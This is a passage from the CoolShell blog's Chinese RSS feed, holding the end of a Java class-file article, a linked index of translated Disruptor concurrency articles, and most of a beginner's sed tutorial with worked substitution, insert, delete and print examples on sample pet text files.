src=\"https://coolshell.cn/wp-content/uploads/2013/03/29.png\" width=\"681\" height=\"395\" /><br />\n其中attribute_length为0x00000002表示长度为2个字节，而soucefile_index的值为0x0012,查看常量池的第18个常量可以知道源代码文件的名称为TestClass.java</p>\n<p>最后，希望对技术感兴趣的朋友多交流。个人微博：（<a href=\"http://weibo.com/xmuzyq\" target=\"_blank\">http://weibo.com/xmuzyq</a>)</p>\n<div id=\"xunlei_com_thunder_helper_plugin_d462f475-c18e-46be-bd10-327458d045bd\">(全文完)</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9229.html\">实例分析Java Class的文件结构</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9229.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>48</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>并发框架Disruptor译文</title>\n\t\t<link>https://coolshell.cn/articles/9169.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9169.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[方 腾飞]]></dc:creator>\n\t\t<pubDate>Thu, 28 Feb 2013 12:13:46 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[系统架构]]></category>\n\t\t<category><![CDATA[Disruptor]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[lmax]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9169</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢同事方腾飞投递本文） Martin Fowler在自己网站上写了一篇LMAX架构的文章，在文章中他介绍了LMAX是一种新型零售金融交易平台，它能够以很低的...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9169.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9169.html\">并发框架Disruptor译文</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢同事<a href=\"http://ifeve.com\" target=\"_blank\">方腾飞</a>投递本文）</strong></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-9188\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/02/Disruptor-300x144.png\" width=\"300\" height=\"144\" />Martin Fowler在自己网站上写了一篇<a href=\"http://ifeve.com/lmax\" target=\"_blank\">LMAX架构</a>的文章，在文章中他介绍了LMAX是一种新型零售金融交易平台，它能够以很低的延迟产生大量交易。这个系统是建立在JVM平台上，其核心是一个业务逻辑处理器，它能够在一个线程里每秒处理6百万订单。业务逻辑处理器完全是运行在内存中，使用事件源驱动方式。业务逻辑处理器的核心是Disruptor。</p>\n<p>Disruptor它是一个开源的并发框架，并获得<a href=\"http://www.java.net/dukeschoice\" target=\"_blank\">2011 Duke’s </a>程序框架创新奖，能够在无锁的情况下实现网络的Queue并发操作。本文是<a href=\"https://code.google.com/p/disruptor/wiki/BlogsAndArticles\" target=\"_blank\">Disruptor官网</a>中发布的文章的译文（<a href=\"http://lmax-exchange.github.com/disruptor/\" target=\"_blank\">现在被移到了GitHub</a>）。</p>\n<h4><strong><span style=\"color: #008000\">剖析Disruptor:为什么会这么快</span></strong></h4>\n<ul>\n<li><a href=\"http://ifeve.com/locks-are-bad/\" target=\"_blank\">剖析Disruptor:为什么会这么快？(一)锁的缺点</a></li>\n</ul>\n<ul>\n<li><a title=\"剖析Disruptor:为什么会这么快？（二）神奇的缓存行填充\" href=\"http://ifeve.com/disruptor-cacheline-padding/\" target=\"_blank\">剖析Disruptor:为什么会这么快？(二)神奇的缓存行填充</a></li>\n</ul>\n<ul>\n<li><a title=\"伪共享(False Sharing)\" href=\"http://ifeve.com/falsesharing/\" target=\"_blank\">剖析Disruptor:为什么会这么快？(三)伪共享</a></li>\n</ul>\n<ul>\n<li><a title=\"剖析Disruptor:为什么会这么快？(四)揭秘内存屏障\" href=\"http://ifeve.com/disruptor-memory-barrier/\" target=\"_blank\">剖析Disruptor:为什么会这么快？(四)揭秘内存屏障</a></li>\n</ul>\n<h4><span style=\"color: #008000\">Disruptor如何工作和使用</span></h4>\n<ul>\n<li><a title=\"剖析Disruptor:为什么会这么快？（一）Ringbuffer的特别之处\" href=\"http://ifeve.com/dissecting-disruptor-whats-so-special/\" target=\"_blank\">如何使用Disruptor（一）Ringbuffer的特别之处</a></li>\n</ul>\n<ul>\n<li><a title=\"如何使用Disruptor（二）如何从Ringbuffer读取\" href=\"http://ifeve.com/dissecting_the_disruptor_how_doi_read_from_the_ring_buffer/\" target=\"_blank\">如何使用Disruptor（二）如何从Ringbuffer读取</a></li>\n</ul>\n<ul>\n<li><a title=\"如何使用 Disruptor（三）写入 Ringbuffer\" href=\"http://ifeve.com/disruptor-writing-ringbuffer/\" target=\"_blank\">如何使用Disruptor（三）写入Ringbuffer</a></li>\n</ul>\n<p><span id=\"more-9169\"></span></p>\n<ul>\n<li><a title=\"Disruptor(无锁并发框架)-发布\" href=\"http://ifeve.com/the-disruptor-lock-free-publishing/\" target=\"_blank\">Disruptor(无锁并发框架)-发布</a></li>\n</ul>\n<ul>\n<li><a title=\"LMAX Disruptor——一个高性能、低延迟且简单的框架\" href=\"http://ifeve.com/disruptor-dsl/\" target=\"_blank\" rel=\"nofollow\">LMAX Disruptor——一个高性能、低延迟且简单的框架</a></li>\n</ul>\n<ul>\n<li><a title=\"Disruptor Wizard已死，Disruptor Wizard永存！\" href=\"http://ifeve.com/disruptor-wizard/\" target=\"_blank\" rel=\"nofollow\">Disruptor Wizard已死，Disruptor Wizard永存！</a></li>\n</ul>\n<ul>\n<li><a title=\"Disruptor 2.0更新摘要\" href=\"http://ifeve.com/disruptor-2-change/\" target=\"_blank\">Disruptor 2.0更新摘要</a></li>\n</ul>\n<ul>\n<li><a title=\"线程间共享数据无需竞争\" href=\"http://ifeve.com/sharing-data-among-threads-without-contention/\" target=\"_blank\">线程间共享数据不需要竞争</a></li>\n</ul>\n<h4><span style=\"color: #008000\">Disruptor的应用</span></h4>\n<ul>\n<li><a title=\"LMAX架构\" href=\"http://ifeve.com/lmax/\" target=\"_blank\">LMAX的架构</a></li>\n</ul>\n<ul>\n<li><a title=\"通过Axon和Disruptor处理1M tps\" href=\"http://ifeve.com/axon/\" target=\"_blank\">通过Axon和Disruptor处理1M tps</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li><li ><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/05/etcd-150x150.png\" alt=\"ETCD的内存问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_title\">ETCD的内存问题</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17381.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/PerfTest-150x150.png\" alt=\"性能测试应该怎么做？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17381.html\" class=\"wp_rp_title\">性能测试应该怎么做？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9169.html\">并发框架Disruptor译文</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9169.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>38</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>sed 简明教程</title>\n\t\t<link>https://coolshell.cn/articles/9104.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/9104.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 20 Feb 2013 00:36:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[sed]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=9104</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>awk于1977年出生，今年36岁本命年，sed比awk大2-3岁，awk就像林妹妹，sed就是宝玉哥哥了。所以 林妹妹跳了个Topless，他的哥哥sed坐不...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/9104.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/9104.html\">sed 简明教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-9126\" src=\"https://coolshell.cn/wp-content/uploads/2013/02/sed-superman.png\" alt=\"\" width=\"216\" height=\"216\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/02/sed-superman.png 270w, https://coolshell.cn/wp-content/uploads/2013/02/sed-superman-150x150.png 150w, https://coolshell.cn/wp-content/uploads/2013/02/sed-superman-200x200.png 200w\" sizes=\"(max-width: 216px) 100vw, 216px\" />awk于1977年出生，今年36岁本命年，sed比awk大2-3岁，awk就像林妹妹，sed就是宝玉哥哥了。所以 <a title=\"AWK 简明教程\" href=\"https://coolshell.cn/articles/9070.html\" target=\"_blank\" rel=\"noopener noreferrer\">林妹妹跳了个Topless</a>，他的哥哥sed坐不住了，也一定要出来抖一抖。</p>\n<p>sed全名叫stream editor，流编辑器，用程序的方式来编辑文本，相当的hacker啊。sed基本上就是玩正则模式匹配，所以，玩sed的人，正则表达式一般都比较强。</p>\n<p>同样，本篇文章不会说sed的全部东西，你可以参看<a href=\"http://www.gnu.org/software/sed/manual/sed.html\" target=\"_blank\" rel=\"noopener noreferrer\">sed的手册</a>，我这里主要还是想和大家竞争一下那些从手机指缝间或马桶里流走的时间，用这些时间来学习一些东西。当然，接下来的还是要靠大家自己双手。</p>\n<h4>用s命令替换</h4>\n<p>我使用下面的这段文本做演示：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ cat pets.txt\nThis is my cat\n  my cat&#039;s name is betty\nThis is my dog\n  my dog&#039;s name is frank\nThis is my fish\n  my fish&#039;s name is george\nThis is my goat\n  my goat&#039;s name is adam</pre>\n<p>把其中的my字符串替换成Hao Chen&#8217;s，下面的语句应该很好理解（s表示替换命令，/my/表示匹配my，/Hao Chen&#8217;s/表示把匹配替换成Hao Chen&#8217;s，/g 表示一行上的替换所有的匹配）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed &quot;s/my/Hao Chen&#039;s/g&quot; pets.txt\nThis is Hao Chen&#039;s cat\n  Hao Chen&#039;s cat&#039;s name is betty\nThis is Hao Chen&#039;s dog\n  Hao Chen&#039;s dog&#039;s name is frank\nThis is Hao Chen&#039;s fish\n  Hao Chen&#039;s fish&#039;s name is george\nThis is Hao Chen&#039;s goat\n  Hao Chen&#039;s goat&#039;s name is adam</pre>\n<p>注意：如果你要使用单引号，那么你没办法通过\\&#8217;这样来转义，就有双引号就可以了，在双引号内可以用\\&#8221;来转义。</p>\n<p><span id=\"more-9104\"></span></p>\n<p>再注意：上面的sed并没有对文件的内容改变，只是把处理过后的内容输出，如果你要写回文件，你可以使用重定向，如：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed &quot;s/my/Hao Chen&#039;s/g&quot; pets.txt &gt; hao_pets.txt</code></p>\n<p>或使用 -i 参数直接修改文件内容：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed -i &quot;s/my/Hao Chen&#039;s/g&quot; pets.txt</code></p>\n<p>在每一行最前面加点东西：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed &#039;s/^/#/g&#039; pets.txt\n#This is my cat\n#  my cat&#039;s name is betty\n#This is my dog\n#  my dog&#039;s name is frank\n#This is my fish\n#  my fish&#039;s name is george\n#This is my goat\n#  my goat&#039;s name is adam</pre>\n<p>在每一行最后面加点东西：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed &#039;s/$/ --- /g&#039; pets.txt\nThis is my cat ---\n  my cat&#039;s name is betty ---\nThis is my dog ---\n  my dog&#039;s name is frank ---\nThis is my fish ---\n  my fish&#039;s name is george ---\nThis is my goat ---\n  my goat&#039;s name is adam ---</pre>\n<p>顺手介绍一下正则表达式的一些最基本的东西：</p>\n<ul>\n<li> <code>^</code> 表示一行的开头。如：<code>/^#/</code> 以#开头的匹配。</li>\n<li> <code>$</code> 表示一行的结尾。如：<code>/}$/</code> 以}结尾的匹配。</li>\n<li> <code>&#92;&lt;</code> 表示词首。 如：<code>&#92;&lt;abc</code> 表示以 abc 为首的詞。</li>\n<li> <code>&#92;&gt;</code> 表示词尾。 如：<code>abc&#92;&gt;</code> 表示以 abc 結尾的詞。</li>\n<li> <code>.</code> 表示任何单个字符。</li>\n<li> <code>*</code> 表示某个字符出现了0次或多次。</li>\n<li> <code>&#91; &#93;</code> 字符集合。 如：<code>&#91;abc&#93;</code> 表示匹配a或b或c，还有 <code>&#91;a-zA-Z&#93;</code> 表示匹配所有的26个字符。如果其中有^表示反，如 <code>&#91;^a&#93;</code> 表示非a的字符</li>\n</ul>\n<p>正规则表达式是一些很牛的事，比如我们要去掉某html中的tags：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n\n&lt;b&gt;This&lt;/b&gt; is what &lt;span style=&quot;text-decoration: underline;&quot;&gt;I&lt;/span&gt; meant. Understand?\n\n</pre>\n<p>看看我们的sed命令</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n# 如果你这样搞的话，就会有问题\n$ sed &#039;s/&lt;.*&gt;//g&#039; html.txt\n Understand?\n\n# 要解决上面的那个问题，就得像下面这样。\n# 其中的&#039;[^&gt;]&#039; 指定了除了&gt;的字符重复0次或多次。\n$ sed &#039;s/&lt;[^&gt;]*&gt;//g&#039; html.txt\nThis is what I meant. Understand?</pre>\n<p>我们再来看看指定需要替换的内容：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"4\">$ sed &quot;3s/my/your/g&quot; pets.txt\nThis is my cat\n  my cat&#039;s name is betty\nThis is your dog\n  my dog&#039;s name is frank\nThis is my fish\n  my fish&#039;s name is george\nThis is my goat\n  my goat&#039;s name is adam</pre>\n<p>下面的命令只替换第3到第6行的文本。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"4,5,6,7\">$ sed &quot;3,6s/my/your/g&quot; pets.txt\nThis is my cat\n  my cat&#039;s name is betty\nThis is your dog\n  your dog&#039;s name is frank\nThis is your fish\n  your fish&#039;s name is george\nThis is my goat\n  my goat&#039;s name is adam</pre>\n<p>&nbsp;</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ cat my.txt\nThis is my cat, my cat&#039;s name is betty\nThis is my dog, my dog&#039;s name is frank\nThis is my fish, my fish&#039;s name is george\nThis is my goat, my goat&#039;s name is adam</pre>\n<p>只替换每一行的第一个s：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed &#039;s/s/S/1&#039; my.txt\nThiS is my cat, my cat&#039;s name is betty\nThiS is my dog, my dog&#039;s name is frank\nThiS is my fish, my fish&#039;s name is george\nThiS is my goat, my goat&#039;s name is adam</pre>\n<p>只替换每一行的第二个s：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed &#039;s/s/S/2&#039; my.txt\nThis iS my cat, my cat&#039;s name is betty\nThis iS my dog, my dog&#039;s name is frank\nThis iS my fish, my fish&#039;s name is george\nThis iS my goat, my goat&#039;s name is adam</pre>\n<p>只替换第一行的第3个以后的s：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed &#039;s/s/S/3g&#039; my.txt\nThis is my cat, my cat&#039;S name iS betty\nThis is my dog, my dog&#039;S name iS frank\nThis is my fiSh, my fiSh&#039;S name iS george\nThis is my goat, my goat&#039;S name iS adam</pre>\n<h4>多个匹配</h4>\n<p>如果我们需要一次替换多个模式，可参看下面的示例：（第一个模式把第一行到第三行的my替换成your，第二个则把第3行以后的This替换成了That）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed &#039;1,3s/my/your/g; 3,$s/This/That/g&#039; my.txt\nThis is your cat, your cat&#039;s name is betty\nThis is your dog, your dog&#039;s name is frank\nThat is your fish, your fish&#039;s name is george\nThat is my goat, my goat&#039;s name is adam</pre>\n<p>上面的命令等价于：（注：下面使用的是sed的-e命令行参数）</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">sed -e &#039;1,3s/my/your/g&#039; -e &#039;3,$s/This/That/g&#039; my.txt</code></p>\n<p>我们可以使用&amp;来当做被匹配的变量，然后可以在基本左右加点东西。如下所示：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed &#039;s/my/[&amp;]/g&#039; my.txt\nThis is [my] cat, [my] cat&#039;s name is betty\nThis is [my] dog, [my] dog&#039;s name is frank\nThis is [my] fish, [my] fish&#039;s name is george\nThis is [my] goat, [my] goat&#039;s name is adam</pre>\n<h4>圆括号匹配</h4>\n<p>使用圆括号匹配的示例：（圆括号括起来的正则表达式所匹配的字符串会可以当成变量来使用，sed中使用的是\\1,\\2&#8230;）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed &#039;s/This is my \\([^,&amp;]*\\),.*is \\(.*\\)/\\1:\\2/g&#039; my.txt\ncat:betty\ndog:frank\nfish:george\ngoat:adam</pre>\n<p>上面这个例子中的正则表达式有点复杂，解开如下（去掉转义字符）：</p>\n<p>正则为：This is my (&#91;^,&#93;*),.*is (.*)<br />\n匹配为：This is my (cat),&#8230;&#8230;&#8230;.is (betty)</p>\n<p>然后：\\1就是cat，\\2就是betty</p>\n<h4>sed的命令</h4>\n<p>让我们回到最一开始的例子pets.txt，让我们来看几个命令：</p>\n<h5>N命令</h5>\n<p>先来看N命令 —— 把下一行的内容纳入当成缓冲区做匹配。</p>\n<p>下面的的示例会把原文本中的偶数行纳入奇数行匹配，而s只匹配并替换一次，所以，就成了下面的结果：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed &#039;N;s/my/your/&#039; pets.txt\nThis is your cat\n  my cat&#039;s name is betty\nThis is your dog\n  my dog&#039;s name is frank\nThis is your fish\n  my fish&#039;s name is george\nThis is your goat\n  my goat&#039;s name is adam</pre>\n<p>也就是说，原来的文件成了：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">This is my cat\\n  my cat&#039;s name is betty\nThis is my dog\\n  my dog&#039;s name is frank\nThis is my fish\\n  my fish&#039;s name is george\nThis is my goat\\n  my goat&#039;s name is adam</pre>\n<p>这样一来，下面的例子你就明白了，</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed &#039;N;s/\\n/,/&#039; pets.txt\nThis is my cat,  my cat&#039;s name is betty\nThis is my dog,  my dog&#039;s name is frank\nThis is my fish,  my fish&#039;s name is george\nThis is my goat,  my goat&#039;s name is adam</pre>\n<h5>a命令和i命令</h5>\n<p>a命令就是append， i命令就是insert，它们是用来添加行的。如：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"2,12\"># 其中的1i表明，其要在第1行前插入一行（insert）\n$ sed &quot;1 i This is my monkey, my monkey&#039;s name is wukong&quot; my.txt\nThis is my monkey, my monkey&#039;s name is wukong\nThis is my cat, my cat&#039;s name is betty\nThis is my dog, my dog&#039;s name is frank\nThis is my fish, my fish&#039;s name is george\nThis is my goat, my goat&#039;s name is adam\n\n# 其中的1a表明，其要在最后一行后追加一行（append）\n$ sed &quot;$ a This is my monkey, my monkey&#039;s name is wukong&quot; my.txt\nThis is my cat, my cat&#039;s name is betty\nThis is my monkey, my monkey&#039;s name is wukong\nThis is my dog, my dog&#039;s name is frank\nThis is my fish, my fish&#039;s name is george\nThis is my goat, my goat&#039;s name is adam</pre>\n<p>我们可以运用匹配来添加文本：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"6\"># 注意其中的/fish/a，这意思是匹配到/fish/后就追加一行\n$ sed &quot;/fish/a This is my monkey, my monkey&#039;s name is wukong&quot; my.txt\nThis is my cat, my cat&#039;s name is betty\nThis is my dog, my dog&#039;s name is frank\nThis is my fish, my fish&#039;s name is george\nThis is my monkey, my monkey&#039;s name is wukong\nThis is my goat, my goat&#039;s name is adam</pre>\n<p>下面这个例子是对每一行都挺插入：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed &quot;/my/a ----&quot; my.txt\nThis is my cat, my cat&#039;s name is betty\n----\nThis is my dog, my dog&#039;s name is frank\n----\nThis is my fish, my fish&#039;s name is george\n----\nThis is my goat, my goat&#039;s name is adam\n----</pre>\n<h5>c命令</h5>\n<p>c 命令是替换匹配行</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed &quot;2 c This is my monkey, my monkey&#039;s name is wukong&quot; my.txt\nThis is my cat, my cat&#039;s name is betty\nThis is my monkey, my monkey&#039;s name is wukong\nThis is my fish, my fish&#039;s name is george\nThis is my goat, my goat&#039;s name is adam\n\n$ sed &quot;/fish/c This is my monkey, my monkey&#039;s name is wukong&quot; my.txt\nThis is my cat, my cat&#039;s name is betty\nThis is my dog, my dog&#039;s name is frank\nThis is my monkey, my monkey&#039;s name is wukong\nThis is my goat, my goat&#039;s name is adam</pre>\n<h5>d命令</h5>\n<p>删除匹配行</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ sed &#039;/fish/d&#039; my.txt\nThis is my cat, my cat&#039;s name is betty\nThis is my dog, my dog&#039;s name is frank\nThis is my goat, my goat&#039;s name is adam\n\n$ sed &#039;2d&#039; my.txt\nThis is my cat, my cat&#039;s name is betty\nThis is my fish, my fish&#039;s name is george\nThis is my goat, my goat&#039;s name is adam\n\n$ sed &#039;2,$d&#039; my.txt\nThis is my cat, my cat&#039;s name is betty</pre>\n<h5>p命令</h5>\n<p>打印命令</p>\n<p>你可以把这个命令当成grep式的命令</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"># 匹配fish并输出，可以看到fish的那一行被打了两遍，\n# 这是因为sed处理时会把处理的信息输出\n$ sed &#039;/fish/p&#039; my.txt\nThis is my cat, my cat&#039;s name is betty\nThis is my dog, my dog&#039;s name is frank\nThis is my fish, my fish&#039;s name is george\nThis is my fish, my fish&#039;s name is george\nThis is my goat, my goat&#039;s name is adam\n\n# 使用n参数就好了\n$ sed -n &#039;/fish/p&#039; my.txt\nThis is my fish, my fish&#039;s name is george\n\n# 从一个模式到另一个模式\n$ sed -n &#039;/dog/,/fish/p&#039; my.txt\nThis is my dog, my dog&#039;s name is frank\nThis is my fish, my fish&#039;s name is george\n\n#从第一行打印到匹配fish成功的那一行\n$ sed -n &#039;1,/fish/p&#039; my.txt\nThis is my cat, my cat&#039;s name is betty\nThis is my dog, my dog&#039;s name is frank\nThis is my fish, my fish&#039;s name is 